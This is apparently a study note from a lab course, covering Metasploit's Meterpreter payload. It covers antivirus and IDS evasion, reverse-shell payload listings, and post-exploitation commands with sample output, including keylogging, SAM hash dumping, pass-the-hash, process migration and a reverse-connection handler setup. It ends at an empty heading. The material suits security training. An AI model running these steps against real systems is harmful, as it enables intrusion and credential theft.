Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and *act as an agent within a command and control architecture*. You will interact with the target operating system and files and use Meterpreter's specialised commands. Meterpreter has many versions which will provide different functionalities based on the target system. ## How does Meterpreter work? Meterpreter runs on the target system but is *not installed on it*. It **runs in memory** and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet). This way, Meterpreter will be seen as a process and not have a file on the target system. Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using **encrypted communication** with the server where Metasploit runs (typically your attacking machine). If the target organisation does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities. While *Meterpreter is recognised by major antivirus software*, this feature provides some degree of stealth. ## Meterpreter Flavours The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom, as seen below. You can use the `msfvenom --list payloads` command and grepped "meterpreter" payloads (adding `| grep meterpreter` to the command line), so the output only shows these. ```bash exec: msfvenom --list payloads | grep meterpre android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless) apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless) apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless) . . . ``` The list will show Meterpreter versions available for the following platforms; - Android - Apple iOS - Java - Linux - OSX - PHP - Python - Windows Our decision on which version of Meterpreter to use will be mostly based on three factors; - The target *operating system* (Linux, Windows, Mac, Android, etc) - *Components available* on the target system (Is Python installed? Is this a PHP website? etc.) - *Network connection types* we can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.) If we are not using Meterpreter as a standalone payload generated by Msfvenom, our choice *may also be limited by the exploit*. We notice some exploits have a default Meterpreter payload, as can be seen in the example below with the `ms17_010_eternalblue` exploit. ```bash msf6 > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp ``` You can also list other available payloads using the `show payloads` command with any module. ## [[Meterpreter Commands]] ### Post-Exploitation Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use. #### Help This command will give you a list of all available commands in Meterpreter. As we have seen earlier, Meterpreter has many versions, and each version may have different options available. Typing help once you have a Meterpreter session will help you quickly browse through available commands. #### Meterpreter commands The `getuid` command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\\SYSTEM or a regular user?) ```bash meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ``` The `ps` command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process. ```bash meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x64 0 396 644 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe 416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 428 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM 548 540 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe 596 540 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe 604 588 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe 644 588 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe 692 596 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe ``` #### Migrate Migrating to another process will `help Meterpreter interact with it`. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the `keyscan_start`, `keyscan_stop`, and `keyscan_dump` command options to make Meterpreter act like a *keylogger*. Migrating to another process may also *help you to have a more stable Meterpreter session*. To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. The example below shows Meterpreter migrating to process ID 716. ```bash meterpreter > migrate 716 [*] Migrating from 1304 to 716... [*] Migration completed successfully. meterpreter > ``` Be careful; **you may lose your user privileges** if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back. #### Hashdump The hashdump command will *list the content of the SAM database*. The SAM (Security Account Manager) database stores user's passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format. ```bash meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::: meterpreter > ``` While it is not mathematically possible to "crack" these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in *Pass-the-Hash attacks* to authenticate to other systems that these users can access the same network. #### Search The search command is useful to locate files with potentially juicy information. In a CTF context, this can be used to quickly find a flag or proof file, while in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information. ```bash meterpreter > search -f flag2.txt Found 1 result... c:\Windows\System32\config\flag2.txt (34 bytes) meterpreter > ``` #### Shell The shell command will launch a regular command-line shell on the target system. Pressing `CTRL+Z` will help you go back to the Meterpreter shell. ```bash meterpreter > shell Process 2124 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32> ``` #### Load You can also use the load command to leverage additional tools such as Kiwi or even the whole Python language. ```bash meterpreter > load python Loading extension python...Success. meterpreter > python_execute "print 'TryHackMe Rocks!'" [+] Content written to stdout: TryHackMe Rocks! meterpreter > ``` Once any additional tool is loaded using the `load` command, you will see new options on the `help` menu. #### Receiving a Connection We will use Multi Handler to receive the incoming connection. The module can be used with the use `exploit/multi/handler` command. Multi handler supports all Metasploit payloads and can be used for Meterpreter as well as regular shells. To use the module, we will need to set the payload value, the LHOST, and LPORT values. ```bash msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload php/reverse_php payload => php/reverse_php msf5 exploit(multi/handler) > set lhost 10.0.2.19 lhost => 10.0.2.19 msf6 exploit(multi/handler) > set lport 7777 lport => 7777 ``` ### Shell to Meterpreter